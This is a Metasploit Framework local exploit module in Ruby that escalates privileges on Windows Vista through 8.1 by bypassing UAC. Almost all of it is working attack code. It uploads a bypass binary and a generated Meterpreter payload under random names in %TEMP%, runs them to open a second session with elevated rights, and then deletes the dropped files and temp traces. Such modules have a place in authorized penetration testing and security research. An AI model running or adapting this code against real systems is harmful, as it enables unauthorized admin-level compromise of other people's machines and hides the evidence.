rapid7/metasploit-framework

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
  Rank = ExcellentRanking

  include Exploit::EXE
  include Post::File
  include Post::Windows::Priv
  include Post::Windows::Runas

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Escalate UAC Protection Bypass',
        'Description' => %q{
          This module will bypass Windows UAC by utilizing the trusted publisher
          certificate through process injection. It will spawn a second shell that
          has the UAC flag turned off.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>',
          'mitnick',
          'mubix' # Port to local exploit
        ],
        'Platform' => [ 'win' ],
        'SessionTypes' => [ 'meterpreter' ],
        'Targets' => [
          [ 'Windows x86', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'DefaultTarget' => 0,
        'References' => [
          [ 'URL', 'http://www.trustedsec.com/december-2010/bypass-windows-uac/' ]
        ],
        'DisclosureDate' => '2010-12-31',
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_sys_process_kill
            ]
          }
        }
      )
    )

    register_options([
      OptEnum.new('TECHNIQUE', [
        true, 'Technique to use if UAC is turned off',
        'EXE', %w[PSH EXE]
      ]),
    ])
  end

  def check_permissions!
    # Check if you are an admin
    vprint_status('Checking admin status...')
    admin_group = is_in_admin_group?

    if admin_group.nil?
      print_error('Either whoami is not there or failed to execute')
      print_error('Continuing under assumption you already checked...')
    elsif admin_group
      print_good('Part of Administrators group! Continuing...')
    else
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end

    if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
      fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
    end
  end

  def exploit
    validate_environment!

    case get_uac_level
    when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP, UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP, UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
      fail_with(Failure::NotVulnerable,
                "UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
    when UAC_DEFAULT
      print_good 'UAC is set to Default'
      print_good 'BypassUAC can bypass this setting, continuing...'
    when UAC_NO_PROMPT
      print_warning "UAC set to DoNotPrompt - using ShellExecute 'runas' method instead"
      runas_method
      return
    end

    check_permissions!

    upload_binaries!

    cmd = "#{path_bypass} /c #{path_payload}"
    # execute the payload
    pid = cmd_exec_get_pid(cmd)

    ::Timeout.timeout(30) do
      select(nil, nil, nil, 1) until session_created?
    end
    session.sys.process.kill(pid)
    # delete the uac bypass payload
    file_rm(path_bypass)
    file_rm("#{expand_path('%TEMP%')}\\tior.exe")
    cmd_exec('cmd.exe', "/c del \"#{expand_path('%TEMP%')}\\w7e*.tmp\"")
  end

  def path_bypass
    @path_bypass ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"
  end

  def path_payload
    @path_payload ||= "#{expand_path('%TEMP%')}\\#{Rex::Text.rand_text_alpha(rand(6..13))}.exe"
  end

  def upload_binaries!
    print_status('Uploaded the agent to the filesystem....')
    #
    # Generate payload and random names for upload
    #
    payload = generate_payload_exe

    # path to the bypassuac binary
    path = ::File.join(Msf::Config.data_directory, 'post')

    bpexe = ::File.join(path, "bypassuac-#{sysinfo['Architecture'] == ARCH_X86 ? 'x86' : 'x64'}.exe")

    print_status('Uploading the bypass UAC executable to the filesystem...')

    begin
      #
      # Upload UAC bypass to the filesystem
      #
      upload_file(path_bypass.to_s, bpexe)
      print_status("Meterpreter stager executable #{payload.length} bytes long being uploaded..")

      write_file(path_payload, payload)
    rescue ::Exception => e
      print_error("Error uploading file #{path_bypass}: #{e.class} #{e}")
      return
    end
  end

  def runas_method
    case datastore['TECHNIQUE']
    when 'PSH'
      # execute PSH
      shell_execute_psh
    when 'EXE'
      # execute EXE
      shell_execute_exe
    end
  end

  def validate_environment!
    fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
    #
    # Verify use against Vista+
    #
    version = get_version_info
    unless version.build_number.between?(Msf::WindowsVersion::Vista_SP0, Msf::WindowsVersion::Win81)
      fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
    end

    if is_uac_enabled?
      print_status 'UAC is Enabled, checking level...'
    elsif is_in_admin_group?
      fail_with(Failure::Unknown, 'UAC is disabled and we are in the admin group so something has gone wrong...')
    else
      fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
    end
  end
end